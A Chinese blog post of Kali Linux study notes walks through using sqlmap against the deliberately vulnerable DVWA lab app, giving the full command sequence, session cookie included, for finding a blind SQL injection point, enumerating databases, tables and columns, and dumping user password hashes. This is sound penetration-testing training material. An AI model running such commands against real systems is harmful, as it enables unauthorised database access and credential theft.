首页 > 数据库 >Kali学习笔记-04-利用SQLmap实现SQL注入

Kali学习笔记-04-利用SQLmap实现SQL注入

时间:2024-01-31 13:13:24浏览次数:26  
标签:SQLmap 04 -- Kali 数据库 Submit dvwa SQL 注入

Kali学习笔记-04-利用SQLmap实现SQL注入

KaliLinux网络安防

一、SQLmap简介

SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。
SQLMAP是开源的自动化SQL注入工具,由Python写成,具有如下特点:
1、完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
2、完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
3、在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
4、支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
5、支持自动识别密码哈希格式并通过字典破解密码哈希。
6、支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。
7、支持在数据库管理系统中搜索指定的数据库名、表名和列名
8、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。
9、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。

二、开启OWASP靶机和Kali虚拟机

enter description here
enter description here
enter description here

三、在Kali中登录DVWA

1. 在Kali的浏览器中登录靶机

enter description here
enter description here

2. 进入DVWA

enter description here
enter description here
使用用户名admin和密码admin登录。
enter description here

四、利用SQLmap实现SQL注入

1. 安全等级调整为low

enter description here
enter description here

2. 进入SQL Injection (Blind)页面

2-1. 获取用户名密码

随意输入一个数字,提交
enter description here
输出结果
enter description here

2-2. 在浏览器地址栏复制URL

enter description here
enter description here
F12键打开开发者工具,选中storage,找到cookies,复制其中的PHPSESSID的值。
enter description here

3. 实施注入

3-1. 执行命令

由于浏览器提交方式为get型,sqlmap使用-u命令,将刚才复制的URL和COOKIE写入命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch

enter description here
enter description here
执行之后获取了如下的注入点信息:
enter description here

3-2. 查看数据库

执行命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch --dbs

结果如下:
enter description here
可以看到,有两个可用的数据库。

3-3. 查看当前数据库

执行命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch --current-db

出现如下结果:
enter description here

3-4. 查看数据库中的表

执行如下命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch -D dvwa --tables

出现如下结果:
enter description here

3-5. 查看users表中有哪些列

执行如下命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch -D dvwa -T users --columns

出现如下结果:
enter description here

3-6. 爆破表中userpassword两列

执行如下命令:

sqlmap -u "http://192.168.48.141/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=d2l7t5eqftnos9t9j2jis8dph2" --batch -D dvwa -T users -C "user,password" --dump

执行结果如下:
enter description here
到这里,我们就从表中得到了用户名和密码的信息。
实验结束。

标签:SQLmap,04,--,Kali,数据库,Submit,dvwa,SQL,注入
From: https://www.cnblogs.com/nangongergou/p/17999044

相关文章

  • OGG-00303 Problem at line 37. Expecting file, table, or record definition: TimeZ
    由于源端和目标端表结构不一致(列顺序有差异),因此使用def文件来同步。在源端配置好def文件后,启动复制进程报错,具体信息如下:2024-01-3111:24:16ERROROGG-00303OracleGoldenGateDeliveryforOracle,r_bszj.rp:Problematline37.Expectingfile,table,orrecorddefin......
  • FFmpeg和Monibuka拉取rtsp(大华摄像头)视频流时未进行URLCode编码导致提示404等报错
    场景Monibucav4(开源流媒体服务器)在Windows上搭建rtmp服务器并实现拉取rtsp视频流以及转换flv播放:https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/132474126Nginx搭建RTMP服务器+FFmpeg实现海康威视摄像头预览:https://blog.csdn.net/BADAO_LIUMANG_QIZHI/articl......
  • Kali学习笔记-03-部署OWASP靶机
    Kali学习笔记-03-部署OWASP靶机KaliLinux网络安防一、下载安装下载地址是https://sourceforge.net/projects/owaspbwa/files/。下载之后得到一个叫OWASP_Broken_Web_Apps_VM_1.2.7z的压缩文件。解压,然后在VMWare中打开解压后得到的虚拟机即可。二、登录在虚拟机的描述......
  • 在@KafkaListener启动之前需要做数据的预加载,该在Spring生命周期的哪个阶段做这个事情
    背景说明1、在Spring中消费Kafka数据时,最便捷的方法就是给方法加@KafkaListener注解。在数据消费逻辑中,需要先把一些配置信息预加载到内存中。有同事就提了一个问题:如果保证在消费者执行前,预加载数据的代码一定能执行完?也就是说,要等待数据预加载完成之后,再执行消费逻辑。大部分......
  • Kali学习笔记-01-安装Kali Linux2
    Kali学习笔记-01-安装KaliLinux2KaliLinux网络安防使用的VMWare版本信息如下:kaliLinux下载网页是https://www.kali.org/get-kali/#kali-virtual-machines。在页面上选择VMware64位版本下载。下载之后得到一个.7z的压缩文件,名字为kali-linux-2023.4-vmware-amd64.7z,解压缩......
  • CF1904C Array Game
    题目传送门codeforces洛谷题目大意给你一个由\(n\)个正整数组成的数组\(a\)。在一次操作中,选取\((i,j)\),将\(|a_i-a_j|\)加到\(a\)的末尾。你的任务是在执行\(k\)操作后,最小化最后数组\(a\)的最小值。思路分三种情况:\(k\geq3\)时,我们可以取两次相同......
  • Vulkan学习苦旅04:创建设备(逻辑设备VkDevice)
    设备是对物理设备的一种抽象,使我们更加方便地使用它。更准确地说,应该称其为“逻辑设备”,但由于逻辑设备在Vulkan中极为常用,后面几乎所有的API都需要它作为第一个参数,因此在Vulkan中直接简称为设备。1.实例、物理设备与设备的关系在之前的几篇文章中,我们依次创建了实例和物理设......
  • openssh 9.6交叉编译ls1043
    准备工作zlib:官网下载:https://www.zlib.net版本:zlib-1.2.2.tar.gzopenssl:官网下载:https://www.openssl.org/source版本:openssl-1.1.1k.tar.gzopenssh:官网下载:http://www.openssh.com/portable.html阿里云镜像:https://mirrors.aliyun.com/pub/OpenBSD/OpenSSH/portable......
  • 洛谷题单指南-排序-P1104 生日
    原题链接:https://www.luogu.com.cn/problem/P1104题意解读:将学生按照年龄由大到小排序,如果年龄相同,后输入的排在前面,输出排序后的学生姓名。解题思路:此题是一个排序常规题,年龄大排在前说明年、月、日越小越在前面,核心的排序思路如下:1、如果年份不同,按年份由小到大排序2、如果......
  • ubuntu18.04 局域网配置git server步骤
    1.安装ssh2.安装gitsudoapt-getupdatesudoaptinstallvimsudoaptinstallopenssh-serversudoaptinstallgit3.cdhome目录mkdircodecdcodegitinit--baretest.git#创建git-server仓库远程服务器远程地址:/home/joker/code/test.git4.本地电脑目录操作......